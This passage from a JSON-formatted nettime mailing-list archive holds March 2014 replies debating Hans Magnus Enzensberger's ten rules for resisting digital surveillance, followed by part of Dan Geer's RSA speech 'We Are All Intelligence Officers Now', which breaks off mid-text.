                        "id": "00035",
                        "date": "Mon, 10 Mar 2014 18:41:12 +0100",
                        "to": "nettime <nettime-l {AT} kein.org>",
                        "message-id": "2da1377ffd229a03bde72e2c1721c848 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00035.html",
                        "content-type": "text/plai",
                        "author_name": "Frank Rieger",
                        "subject": "Re: <nettime> Hans Magnus Enzensberger: Rules for the digital world"
                    },
                    {
                        "from": "Heiko Recktenwald <heikorecktenwald {AT} googlemail.com>",
                        "content": "\nAndreas:\n\n\n> can be effective in any way if performed in such privatistic ways as\n> suggested in HME's \"rules\".)\n\nThats what I thought too -- and I think it is completely impossible\nand not even a topic worth to be discussed. The article was not even\ngood as a shameless plug for this terrible pathetic social democratic\nformer bookseller who wants to rule the EU.\n\nWhat a nonsense and what a megastrange \"souvereingty language\" for a\nsocial democrat? Such language was until now used only in the German\nfar right (where it is the only important motivation except to have\nfun by provocations).\n\nBest, H.\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00040",
                        "date": "Mon, 10 Mar 2014 17:15:10 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "531DE50E.7030403 {AT} gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00040.html",
                        "content-type": "text/plai",
                        "author_name": "Heiko Recktenwald",
                        "subject": "Re: <nettime> Hans Magnus Enzensberger: Rules for the digital world"
                    },
                    {
                        "from": "lorian Cramer <flrncrmr {AT} gmail.com>",
                        "content": "While I'd like to chime in with Andreas' fact check of Enzensberger's\nten rules:\n\n> For those who aren't nerds, hackers or cryptographers and have\n> better things to do than keep up with the pitfalls of digitalization\n> every hour, there are ten simple rules to resist exploitation and\n> surveillance:\n\nUnlike Andreas, I think that Enzensberger is right and that critical\nmedia activist culture delivered the proof in the pudding when it came\nup with the format and name of \"Crypto Parties\". The implication is,\nindeed, that you need to become at least a low-skilled cryptographer\nwho knows what PGP, SSL and TOR mean and how they are used.\n\nIn Rotterdam, on a CryptoParty last Friday at WORM, we just learned\nagain how difficult it is for contemporary Internet users to even\ngrasp the concept of a local mail client (like Thunderbird) as opposed\nto Web Mail - and that does not even include complex stuff like\nPGP encryption and key management. But using Web Mail means, by\ndefinition, that others can read and data mine your correspondence.\nAnd let's not even go into gory details like keeping up with software\nvulnerabilities (like the SSL bug in Apple's operating systems or the\nvery similar GNU-TLS bug from last week). It's fair to say that all\nthe computer and Internet communication systems we currently use are\nfundamentally insecure, and that there are likely only a handful of\nsystems in the world into which a skilled third party could not break\ninto to intercept the data stored on or sent from them.\n\n> 1\n> If you own a mobile phone, throw it away.\n\n>From a hacker perspective, this is sound advice. Apart from a very\nfew fringe, mostly not-yet-existing mobile phone operating systems\n(such as Phil Zimmerman's Black Phone), all of the existing mobile\nphones leak your data. Even a most simple stripped-down mobile phone\nconstantly broadcasts your location. The technology to intercept calls\nand data transfers has become trivially simple (as Danja Vasiliev\nand Julian Oliver demonstrated on this year's transmediale festival\nin Berlin). Another issue is that smartphones are multi-sensor\ndevices that broadcast megabytes of data (such as bodily movement via\naccelerometers) with their users being aware of it.\n\n> 2\n> Whoever offers something for free is suspicious. One should categorically\n> refuse anything that passes itself off as a bargain, bonus or freebie.  It's\n> always a lie.\n\nI agree with Andreas, but a problem remains that this advice can\ninvoluntarily backfire against ethical free services offered by\nnon-profits (from free WiFi access at a public library to Open Source\nsoftware).\n\n> 3\n> Online banking is a blessing, but only for secret services and criminals.\n\nHere, Enzensberger's advice is naive, because banking in these times is\nonline anyway. If people go to a bank counter instead of homebanking, the\ntransaction will travel over the same networks (and most likely, the bank\nemployee will use the same online banking web interface). It also ignores\nthe data retention and customer tracking built into the international\nbanking system via, for example, the SWIFT accord between the EU and the\nUSA.\n\n> 4\n> Governments and industries want to abolish cash. They would like to get rid\n> of a legal tender that anyone can redeem.\n\nThis is indeed an important point, and has become a reality in countries\nlike Sweden. Contrary to common belief and letting aside all other issues\nof this payment system, Bitcoin is not a solution for this problem because\nall Bitcoin transaction records are publicly visible (as discussed here on\nNettime previously - no need to open this can of worms again). So far, cash\nis the only truly anonymous, hard-to-trace payment method.\n\n> 5\n> The madness of networking every object of daily use - from toothbrush to\n> TV, from car to refrigerator - via the Internet, can only be met with total\n> boycott.\n\nThe recent news about \"smart TVs\" spying on its viewers (\nhttps://securityledger.com/2013/11/fix-from-lg-ends-involuntary-smartt\nv-snooping-but-privacy-questions-remain/) indeed confirm this - and\nthe news that \"smart refrigerators\" are now running spam botnets (\nhttp://arstechnica.com/security/2014/01/is-your-refrigerator-really-pa\nrt-of-a-massive-spam-sending-botnet/ ). This is one example of the\nterm \"post-digital\" making sense - that in many cases, it's better\nthat devices are offline than online.\n\n> 6\n> The same applies to politicians. They ignore any objection to their actions\n> and omissions. They are submissive to the financial markets and don't dare\n> to go against the activities of secret services.\n\nNo point in arguing with that. Most likely, most of them are in the pockets\nof the secret services that have collected compromising information on them.\n\n> 7\n> E-Mail is nice, fast and free. So watch out! If you have a confidential\n> message or don't want to be surveilled, take a postcard and pencil.\n\nThis advice is technologically naive. It's known that the NSA and other\nsecret services have systematically scanned and collected postal mail meta\ndata (sender and receiver adresses along with timestamps), postal mail\nrelies on digital logistics (and digitized meta data) anyway.\nNearly-unreadable handwriting on post cards would not last very long as an\nobfuscation device. All the secret service had to do is to run a Captcha\nprogram for the handwriting that would fail OCR.\n\n> 8\n> Avoid obtaining goods and services via Internet. Vendors like Amazon, Ebay\n> and so on store all data and molest their customers with advertising spam.\n\nNaive advice, again, since your supermarket collects the same information -\neither via loyalty discount cards or simply by collecting data from card\npayments.\n\n> 9\n> Just like network television, the big Internet corporations are primarily\n> financed by advertising.\n\nThis is a naive view as well, or it might at best be true for Google.\nEnzensberger fails to understand the system of venture capital\nfinancing in combination with IPOs and stock markets that work as a\nglobal speculative scheme. (In less abstract words: It doesn't matter\nwhether a company like Facebook will ever make real profits since its\nfounders, venture capital investors and first-wave stock buyers will\nhave made billions before the company tanks.) He also excludes the\npossibility that selling customer data with third parties, including\nlaw enforcement, intelligence agencies, insurance companies, banks\netc. might already be a major source of revenue for many Internet\ncompanies.\n\n> 10\n> Networks like Facebook call themselves \"social\" despite their eagerness to\n> treat their customers in the utmost anti-social ways.\n\nHere, Enzensberger sounds like a disgruntled airline customer who\nwants his money back after a flight from hell. He misses the point\nthat nowadays, sites like Facebook exist because of peer pressure for\nparticipation.\n\n> friends like this, is a hopeless case. Those who are unfortunate\n> enough to be part of such a company, should try to take flight as\n> fast as possible. This is not so easy. An octopus won't consent to\n> letting his prey escape.\n\nTrue, since Facebook doesn't delete profile data even after people\nhave shut down their accounts, and even creates profiles of people who\naren't on Facebook (and don't intend to sign on) based on the social\nnetwork information (and uploaded E-Mail address books) of registered\nusers. This is also true for other web sites such as LinkedIn.\n\n> These simple measures can't solve the political problem that society is\n> faced with.\n\nNo point arguing with this.\n\n> The sleep of reason will continue to the day when a majority of this\n> country's citizens will experience firsthand what has been done to them.\n> Perhaps, they will rub their eyes and ask why they let it slip in a time\n> when resistance was still possible.\n\nOne only needs to ponder what the Hitler government would have been\nable to pull off during the Third Reich, on top of everything it\nalready did, if it had had access to the kind of personal data that\nis now stored at Google, Facebook and the NSA, for every citizen in\nGermany and the countries occupied in WWII - and even keeping people\noutside those territories in check by blackmail.\n\nThere's no question that we're living in societies of control and that\nthe Internet is their infrastructure.\n\n-F\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00041",
                        "date": "Mon, 10 Mar 2014 18:05:52 +0100",
                        "to": "Nettime <nettime-l {AT} kein.org>",
                        "message-id": "CADCyihQH92AM2CEiL=qCJ8yhhcugu&#45;xfT6hfhawU+i2D4RMMEQ {AT} mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00041.html",
                        "content-type": "text/plai",
                        "author_name": "Florian Cramer",
                        "subject": "Re: <nettime> Hans Magnus Enzensberger: Rules for the digital world"
                    },
                    {
                        "from": "Armin Medosch <armin {AT} easynet.co.uk>",
                        "content": "Hi Frank\n\nsure, there is a diversity of opinion in any self-respecting newspaper. But\nthat does not change the fact that FAZ editors are conducting a kind of\ncampaign against the 'free' culture of the internet. I would certainly not\nconsider Google to be 'good'. I am observing, rather neutrally, that there\nis a fight of old versus new capital. Google represents a new mode of\nproduction, FAZ an old one. FAZ is trying to preserve its business model,\nbased on copyright and exclusivity. The new political economy is still in\nits ascendancy, Google still represents a future (not THE future).\nTherefore we should hold Google accountable, while not falling for the trap\nof defending the interests of old capital\n\nbest,\nArmin\n\n\n\nOn Mon, Mar 10, 2014 at 5:41 PM, Frank Rieger <frank {AT} ccc.de> wrote:\n\n> Writing for the FAZ myself I can assure you, that there is no such\n> thing as \"the FAZ\". It is a multitude of oppinions, plenty of debates\n> and highly moble frontlines. There are some arch-conservative editors\n> and authors who would love to wake up one day and find the internet\n> gone (mostly in the politics and business parts of the paper). And\n> then there are plenty of others (more often in the Feuilleton) who\n> have distinctly different and certainly not conservative views.\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00044",
                        "date": "Tue, 11 Mar 2014 12:22:08 +0000",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "3aca6bbfe92aff7cc7ca3c92b7032fd2 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00044.html",
                        "content-type": "text/plai",
                        "author_name": "Armin Medosch",
                        "subject": "Re: <nettime> Hans Magnus Enzensberger: Rules for the digital world"
                    },
                    {
                        "from": "Armin Medosch <armin {AT} easynet.co.uk>",
                        "content": "Hi MP,\n\nit is not so difficult. There's capital, and its not homogenous. There are\ncapitals of a different era and of a different kind - such as industrial,\nagro-business, and financial capital. There are different modes of\nproduction and social relations that go with it. It is not about 'for' or\n'against' or naive versions of 'good' and 'bad' but if we want to\nunderstand the world we live in - and to preempt any questions, I think to\nsome degree this is possible - then we need to engage with such concepts\nthat great social scientists have developed\n\nregards\nArmin\n\n\n\nOn Mon, Mar 10, 2014 at 5:54 PM, mp <mp {AT} aktivix.org> wrote:\n\n> On 10/03/14 15:32, Armin Medosch wrote:\n> > is clearly old capital against new capital - the enemy is Google.\n>\n> so, old capital is a bad thing and new capital is a bad thing, or\n> what's the moral of this?\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00045",
                        "date": "Tue, 11 Mar 2014 12:27:03 +0000",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "ea6e2c31beb54028f6f1eecbaee9a3c8 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00045.html",
                        "content-type": "text/plai",
                        "author_name": "Armin Medosch",
                        "subject": "Re: <nettime> Hans Magnus Enzensberger: Rules for the digital world"
                    },
                    {
                        "from": "Roel Roscam Abbing <roel {AT} roelroscamabbing.nl>",
                        "content": "Florian Cramer wrote:\n\n>> 7\n>> > E-Mail is nice, fast and free. So watch out! If you have a confidential\n>> > message or don't want to be surveilled, take a postcard and pencil.\n>\n> This advice is technologically naive. It's known that the NSA and other\n> secret services have systematically scanned and collected postal mail meta\n> data (sender and receiver adresses along with timestamps), postal mail\n> relies on digital logistics (and digitized meta data) anyway.\n> Nearly-unreadable handwriting on post cards would not last very long as an\n> obfuscation device. All the secret service had to do is to run a Captcha\n> program for the handwriting that would fail OCR.\n\nCaptcha is already being used to decipher hard-to-OCR street numbers\ncollected by Google Streetview. Traditionally captchas have been used to\ntell humans from bots, ironically you must now prove your humanity by\nratting out somebody's address to Google.\nhttp://techcrunch.com/2012/03/29/google-now-using-recaptcha-to-decode-street-view-addresses/\n\n>> > The sleep of reason will continue to the day when a majority of this\n>> > country's citizens will experience firsthand what has been done to them.\n>> > Perhaps, they will rub their eyes and ask why they let it slip in a time\n>> > when resistance was still possible.\n>\n> One only needs to ponder what the Hitler government would have been\n> able to pull off during the Third Reich, on top of everything it\n> already did, if it had had access to the kind of personal data that\n> is now stored at Google, Facebook and the NSA, for every citizen in\n> Germany and the countries occupied in WWII - and even keeping people\n> outside those territories in check by blackmail.\n\nThere's an interesting book called IBM And The Holocaust that describes\nthe use of IBM punchcard systems and census data to aid in the\nHolocaust. Not only to to crunch census data, but also cross referencing\nrecords of governments and churches throughout occupied Europe and\nsolving difficult logistics problems to increase the efficiency of\ndeportation to concentration camps.\n\nhttp://monoskop.org/log/?p=3076\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00047",
                        "date": "Tue, 11 Mar 2014 15:05:00 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "6f458f76219ed5db8c58d5008bce9d32 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00047.html",
                        "content-type": "text/plai",
                        "author_name": "Roel Roscam Abbing",
                        "subject": "Re: <nettime> Hans Magnus Enzensberger: Rules for the digital world"
                    },
                    {
                        "from": "p <mp {AT} aktivix.org>",
                        "content": "Armin Medosch wrote:\n\n> Hi MP,\n> \n> it is not so difficult. There's capital, and its not homogenous. There are\n> capitals of a different era and of a different kind - such as industrial,\n> agro-business, and financial capital. There are different modes of\n> production and social relations that go with it. It is not about 'for' or\n> 'against' or naive versions of 'good' and 'bad' but if we want to\n> understand the world we live in - and to preempt any questions, I think to\n> some degree this is possible - then we need to engage with such concepts\n> that great social scientists have developed\n\nI don't get it. Sounds strangely abstract/academic to me, or maybe I am\njust stupid.\n\nIf a corporation is in a new kind of business, but owned by the same old\nshareholder circles as those that came before, which category is it in,\nthen, new or old?\n\nAnd what exactly does it matter? Does it, say, matter to a peasant\ncommunity whether their river is destroyed directly by Google's power\nconsumption or destroyed by the mining by an old corporation processing\nminerals (that later end up in Google server farms)?\n\nAnd then you throw \"great social scientists\" into the mix, too?!? Who\nare they?\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00048",
                        "date": "Tue, 11 Mar 2014 15:16:11 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "4c08afa73f3c6532d2a3ef0e450fd15b {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00048.html",
                        "content-type": "text/plai",
                        "author_name": "mp",
                        "subject": "Re: <nettime> Hans Magnus Enzensberger: Rules for the digital world"
                    },
                    {
                        "from": "dan {AT} geer.org",
                        "content": "Posted on the chance that the speech which follows below has some\nrelevance to the current thread.  It was given by invitation to the\nRSA conference ten days ago now.\n\n-----------------8<------------cut-here------------8<-----------------\n\n[ nominal delivery draft ]\n\n.We Are All Intelligence Officers Now\n.Dan Geer, 28 February 14, RSA/San Francisco\n\nGood morning.  Thank you for the invitation to speak with you today,\nwhich, let me be clear, is me speaking for myself, not for anyone\nor anything else.  As you know, I work the cyber security trade,\nthat is to say that my occupation is cyber security.  Note that I\nsaid \"occupation\" rather than \"profession.\"  Last September, the\nU.S. National Academy of Sciences concluded that cyber security\nshould be seen as an occupation and not a profession because the\nrate of change is simply too great to consider professionalization.[NAS]\nYou may well agree that that rate of change is paramount, and, if\nso, you may also agree that cyber security is the most intellectually\ndemanding occupation on the planet.\n\nThe goal of the occupation called cyber security grows more demanding\nwith time, which I need tell no one here.  That growth is like a\nriver with many tributaries.  Part of the rising difficulty flows\nfrom rising complexity, part of it from accelerating speed, and\npart of it from the side effects of what exactly we would do if\nthis or that digital facility were to fail entirely -- which is to\nsay our increasing dependence on all things digital.  One is at\nrisk when something you depend upon is at risk.  Risk is, in other\nwords, transitive.  If X is at risk and I depend on X, then I, too,\nam at risk to whatever makes X be at risk.  Risk is almost like\ninheritance in a programming language.\n\nI am particularly fond of the late Peter Bernstein's definition of\nrisk: \"More things can happen than will.\"[PB]  I like that definition\nnot because it tells me what to do, but rather because it tells me\nwhat comes with any new expansion of possibilities.  Put differently,\nit tells me that with the new, the realm of the possible expands\nand, as we know, when the realm of the possible expands, prediction\nis somewhere between difficult and undoable.  The dynamic is that\nwe now regularly, quickly expand our dependence on new things, and\nthat added dependence matters because the way in which we each and\nseverally add risk to our portfolio is by way of dependence on\nthings for which their very newness makes risk estimation, and thus\nrisk management, neither predictable nor perhaps even estimable.\n\nThe Gordian Knot of such tradeoffs -- our tradeoffs -- is this: As\nsociety becomes more technologic, even the mundane comes to depend\non distant digital perfection.  Our food pipeline contains less\nthan a week's supply, just to take one example, and that pipeline\ndepends on digital services for everything from GPS driven tractors\nto robot vegetable sorting machinery to coast-to-coast logistics\nto RFID-tagged livestock.  Is all the technologic dependency, and\nthe data that fuels it, making us more resilient or more fragile?\n\nIn the cybersecurity occupation, in which most of us here work, we\ncertainly seem to be getting better and better.  We have better\ntools, we have better understood practices, and we have more and\nbetter colleagues.  That's the plus side.  But from the point of\nview of prediction, what matters is the ratio of skill to challenge;\nas far as I can estimate, we are expanding the society-wide attack\nsurface faster than we are expanding our collection of tools,\npractices, and colleagues.  If your society is growing more food,\nthat's great.  If your population is growing faster than your\nimprovements in food production can keep up, that's bad.  So it is\nwith cyber risk management: Whether in detection, control, or\nprevention, we are notching personal bests, but all the while the\nopposition is setting world records.  As with most decision making\nunder uncertainty, statistics have a role, particularly ratio\nstatistics that magnify trends so that the latency of feedback from\npolicy changes is more quickly clear.  Yet statistics, of course,\nrequire data, to which I will return in a moment.\n\nIn medicine, we have well established rules about medical privacy.\nThose rules are helpful; when you check into the hospital there is\na licensure-enforced, accountability-based, need-to-know regime\nthat governs the handling of your data.[PHI]   Most days, anyway.\nBut if you check in with Bubonic Plague or Typhus or Anthrax, you\nwill have zero privacy as those are \"reportable conditions,\" as\nvariously mandated by public health law in all fifty States.  So\nlet me ask you, would it make sense, in a public health of the\nInternet way, to have a mandatory reporting regime for cybersecurity\nfailures?  Do you favor having to report cyber penetrations of your\nfirm or of your household to the government?  Should you face\ncriminal charges if you fail to make such a report?  Forty-eight\nStates vigorously penalize failure to report sexual molestation of\nchildren.[SMC]  The (US) Computer Fraud and Abuse Act[CF] defines\na number of felonies related to computer penetrations, and the U.S.\nCode says that it is a crime to fail to report a felony of which\nyou have knowledge.[USC]  Is cybersecurity event data the kind of\ndata around which you want to enforce mandatory reporting?  Forty-six\nStates require mandatory reporting of cyber failures in the form\nof their data breach laws, while the Verizon Data Breach Investigations\nReport[VDB] found, and the Index of Cyber Security[ICS] confirmed,\nthat 70-80% of data breaches are discovered by unrelated third\nparties.  If you discover a data breach, do you have an ethical\nobligation to report it?  Should the law mandate that you fulfill\nsuch an obligation?\n\nAlmost everyone here has some form of ingress filtering in place\nby whatever name -- firewall, intrusion detection, whitelisting,\nand so forth and so on.  Some of you have egress filtering because\nbeing in a botnet, that is to say being an accessory to crime, is\nbad for business.  Suppose you discover that you are in a botnet;\ndo you have an obligation to report it?  Do you have an obligation\nto report the traffic that led you to conclude that you had a\nproblem?  Do you even have an obligation to bother to look and, if\nyou don't have or want an obligation to bother to look, do you want\nyour government to require the ISPs to do your looking for you, to\nnotify you when your outbound traffic marks you as an accomplice\nto crime, whether witting or unwitting?  Do you want to lay on the\nISPs the duty to guarantee a safe Internet?  They own the pipes and\nif you want clean pipes, then they are the ones to do it.  Does\ndeep packet inspection of your traffic by your ISP as a public\nhealth measure have your support?  Would you want an ISP to deny\naccess to a host, which might be your host, that is doing something\nbad on their networks?  Who gets to define what is \"bad?\"\n\nIf you are saying to yourself, \"This is beginning to sound like\nsurveillance\" or something similar, then you're paying attention.\nEvery one of you who lives in a community that has a neighborhood\nwatch already has these kinds of decisions to make.  Let's say that\nyou are patrolling your street, alone, and there have been break-ins\nlately, there have been thefts lately, there has been vandalism\nlately.  You've lived there for ten years and been on that neighborhood\nwatch for five.  You are on duty and you see someone you've never\nseen crossing the street first from one side then the other, putting\na hand on every garden gate.  What do you do?  Confront them the\nway a polite neighbor would?  Challenge them the way a security\nguard would?  Run home to lock your own doors and draw your drapes?\nResign from the neighborhood watch because you are really not ready\nto do anything strenuous?\n\nReturning to the digital sphere, we are increasing what it is that\ncan be observed, what is observable.  Instrumentation has never\nbeen cheaper.  Computing to fiddle with what has been observed has\nnever been more available.  As someone who sees a lot of fresh\nbusiness plans, I can tell you that these days Step Six is never\n\"Then we build a data center.\"  Step Six, or whatever, is universally\nnow \"Then we buy some cloud time and some advertising.\" This means\nthat those to whom these outsourcing contracts go are in a position\nto observe, and observe a lot.  Doubtless some of what they observe\nwill be problematic, whether on legal or moral grounds.  Should a\nvendor of X-as-a-Service be obliged to observe what their customers\nare doing?  And if they are obliged to observe, should they be\nobliged to act on what they observe, be that to report, to deploy\ncountermeasures, or both?\n\nAs what is observable expands so, naturally, does what has been\nobserved.  Dave Aitel says \"There's no reason a company in this day\nand age can't have their own Splunk or ElasticSearch engine that\nallows them to search and sort a complete history of every program\nanyone in the company has ever executed.\"[DA]  Sometime in the last\nfive to ten years we passed the point on the curve where it became\nmuch cheaper to keep everything than to do selective deletion.  When\nyou read the Federal Rules of Civil Procedure with respect to\nso-called e-discovery, you can certainly conclude that total retention\nof observed data is a prudent legal strategy.  What is less clear\nis whether you have a duty to observe given that you have the\ncapacity to do so.  All of which also applies to what others can\nobserve about you.\n\nThis is not, however, about you personally.  Even Julian Assange,\nin his book _Cypherpunks_, said \"Individual targeting is not the\nthreat.\"  It is about a culture where personal data is increasingly\npublic data, and assembled en masse.  All we have to go on now is\nthe hopeful phrase \"A reasonable expectation of privacy\" but what\nis reasonable when one inch block letters can be read from orbit?\nWhat is reasonable when all of your financial or medical life is\ndigitized and available primarily over the Internet?  Do you want\nISPs to retain e-mails when you are asking your doctor a medical\nquestion (or, for that matter, do you want those e-mails to become\npart of your Electronic Health Record)?  Who owns your medical data\nanyway?  Until the 1970s, it was the patient but regulations then\nmade it the provider.  With an Electronic Health Record, it is\nlikely to revert to patient ownership, but if the EHR belongs to\nyou, do you get to surveil the use that is made of it by medical\nproviders and those that recursively they outsource to?  And if\nnot, why not?\n\nObservability is fast extending to devices.  Some of it has already\nappeared, such as the fact that any newish car is broadcasting four\nunique Bluetooth radio IDs, one for each tire's valve stem.  Some\nof it is in a daily progression, such as training our youngsters\nto accept surveillance by stuffing a locator beacon in their backpack\nas soon as they go off to Kindergarten.  Some of it is newly\ntechnologic, like through the wall imaging, and some of it is simply\nthat we are now surrounded by cameras that we can't even see where\nno one camera is important but they are important in the aggregate\nwhen their data is fused.  Anything, and I mean anything, that has\n\"wireless\" in its name creates the certainty of traffic analysis.\n\nAs an example relevant to rooms such as this, you should assume\nthat all public facilities will soon convert their lighting fixtures\nto LEDs, LEDs that are not just lights but also have an embedded,\nchip-based operating system, a camera, sensors for CO/CO2/pollutant\nemissions, seismic activity, humidity & UV radiation, a microphone,\nwifi and/or cellular interfaces, an extensible API, an IPv4 or v6\naddress per LED, a capacity for disconnected \"decision making on\nthe pole,\" cloud-based remote management, and, of course, bragging\nrights for how green you are which you can then monetize in the\nform of tax credits.[S]  I ask again, do you or we or they have a\nduty to observe now that we have an ability to do so?  It is, as\nyou know, a long established norm for authorities to seize the video\nstored in surveillance cameras whether the issue at hand is a smash\nand grab or the collapse of an Interstate highway bridge.[M]  What\ndoes that mean when data retention is permanent and recording devices\nare omnipresent?  Does that make you the observed or the observer?\nDo we have an answer to \"Who watches the watchmen?\"[J]\n\nBy now it is obvious that we humans can design systems more complex\nthan we can then operate.  The financial sector's \"flash crashes\"\nare the most recent proof-by-demonstration of that claim; it would\nhardly surprise anyone were the fifty interlocked insurance exchanges\nfor Obamacare to soon be another.  Above some threshold of system\ncomplexity, it is no longer possible to test, it is only possible\nto react to emergent behavior.  Even the lowliest Internet user is\ninvolved -- one web page can easily touch scores of different\ndomains.  While writing this, the top level page from cnn.com had\n400 out-references to 85 unique domains each of which is likely to\nbe similarly constructed and all of which move data one way or\nanother.  If you leave those pages up, then because many such pages\nhave an auto-refresh, moving to a new subnet signals to every one\nof the advertising networks that you have done so.  How is this\ndifferent than having a surveillance camera in the entry vestibule\nof your home?\n\nWe know, and have known for some time, that traffic analysis is\nmore powerful than content analysis.  If I know everything about\nto whom you communicate including when, where, with what inter-message\nlatency, in what order, at what length, and by what protocol, then\nI know you.  If all I have is the undated, unaddressed text of your\nmessages, then I am an archaeologist, not a case officer.  The\nsoothing mendacity of proxies for the President saying \"It's only\nmetadata\" relies on the ignorance of the listener.  Surely no one\nhere is convinced by \"It's only metadata\" but let me be clear: you\nare providing that metadata and, in the evolving definition of the\nword \"public,\" there is no fault in its being observed and retained\nindefinitely.  Harvard Law professor Jonathan Zittrain famously\nnoted that if you preferentially use online services that are free,\n\"You are not the customer, you're the product.\"  Why?  Because what\nis observable is observed, what is observed is sold, and users are\nalways observable, even when they are anonymous.\n\nLet me be clear, this is not an attack on the business of intelligence.\nThe Intelligence Community is operating under the rules it knows,\nmost of which you, too, know, and the goal states it has been tasked\nto achieve.  The center of gravity for policy is that of goal states,\nnot methods.\n\nThroughout the 1990s, the commercial sector essentially caught up\nwith the intelligence sector in the application of cryptography --\nnot the creation of cyphers, but their use.  (Intelligence needs\nnew cyphers on a regular basis whereas commercial entities would\nrather not have to roll their cypher suites at all, much less\nregularly.)  In like manner commercial firms are today fast catching\nup with the intelligence sector in traffic analysis.  The marketing\nworld is leading the way because its form of traffic analysis is\nbehavior-aware and full of data fusion innovation -- everything\nfrom Amazon's \"people who bought this later bought that\" to 1 meter\naccuracy on where you are in the shopping mall so that advertisements\nand coupons can appear on your smartphone for the very store you\nare looking in the window of, to combining location awareness with\nwhat your car and your bedroom thermostat had to say about you this\nmorning.  More relevant to this audience, every cutting edge data\nprotection scheme now has some kind of behavioral component, which\nsimply means collecting enough data on what is happening that\nsubsequently highlighting anomalies has a false positive rate low\nenough to be worth following up.\n\nIf you decide to in some broad sense opt out, you will find that\nit is not simple.  Speaking personally, I choose not to share\nCallerID data automatically by default.  Amusingly, when members\nof my friends and family get calls from an unknown caller, they\nassume it is me because I am the only person they know who does\nthis.  A better illustration of how in a linear equation there are\nN-1 degrees of freedom I can't imagine.  Along those same lines,\nI've only owned one camera in my life and it was a film camera.\nErgo, I've never uploaded any photos that I took.  That doesn't\nmean that there are no digital photos of me out there.  There are\n3+ billion new photos online each month, so even if you've never\nuploaded photos of yourself someone else has.  And tagged them.  In\nother words, you can personally opt out, but that doesn't mean that\nother folks around you haven't effectively countermanded your intent.\n\nIn short, we are becoming a society of informants.  In short, I\nhave nowhere to hide from you.\n\nAs I said before and will now say again, the controlling factor,\nthe root cause, of risk is dependence, particularly dependence on\nthe expectation of stable system state.  Yet the more technologic the\nsociety becomes, the greater the dynamic range of possible failures.\nWhen you live in a cave, starvation, predators, disease, and lightning\nare about the full range of failures that end life as you know it\nand you are well familiar with each of them.  When you live in a\ntechnologic society where everybody and everything is optimized in\nsome way akin to just-in-time delivery, the dynamic range of failures\nis incomprehensibly larger and largely incomprehensible.  The wider\nthe dynamic range of failure, the more prevention is the watchword.\nCadres of people charged with defending masses of other people must\nfocus on prevention, and prevention is all about proving negatives.\nTherefore, and inescapably so, there is only one conclusion: as\ntechnologic society grows more interconnected, it becomes more\ninterdependent within itself.  As society becomes more interdependent\nwithin itself, the more it must rely on prediction based on data\ncollected in broad ways, not in targeted ways.  That is surveillance.\nThat is intelligence practiced not by intelligence agencies but by\nanyone or anything with a sensor network.\n\nSpoken of in this manner, official intelligence agencies that hoover\nup everything are simply obeying the Presidential Directive that\n\"Never again\" comes true.  And the more complex the society they\nare charged with protecting becomes, the more they must surveil,\nthe more they must analyze, the more data fusion becomes their only\nfocus.  In that, there is no operational difference between government\nacquisition of observable data and private sector acquisition of\nobservable data, beyond the minor detail of consent.\n\nDavid Brin was the first to suggest that if you lose control over\nwhat data can be collected on you, the only freedom-preserving\nalternative is that everyone else does, too.[DB1]  If the government\nor the corporation or your neighbor can surveil you without asking,\nthen the balance of power is preserved when you can surveil them\nwithout asking.  Bruce Schneier countered that preserving the balance\nof power doesn't mean much if the effect of new information is\nnon-linear, that is to say if new information is the exponent in\nan equation, not one more factor in a linear sum.[DB2]  Solving\nthat debate requires that you have a strong opinion on what data\nfusion means operationally to you, to others, to society.  If,\nindeed, and as Schneier suggested, the power of data fusion is an\nequation where new data items are exponents, then the entity that\ncan amass data that is bigger by a little will win the field by a\nlot.  That small advantages can have big outcome effects is exactly\nwhat fuels this or any other arms race.\n\nContradicting what I said 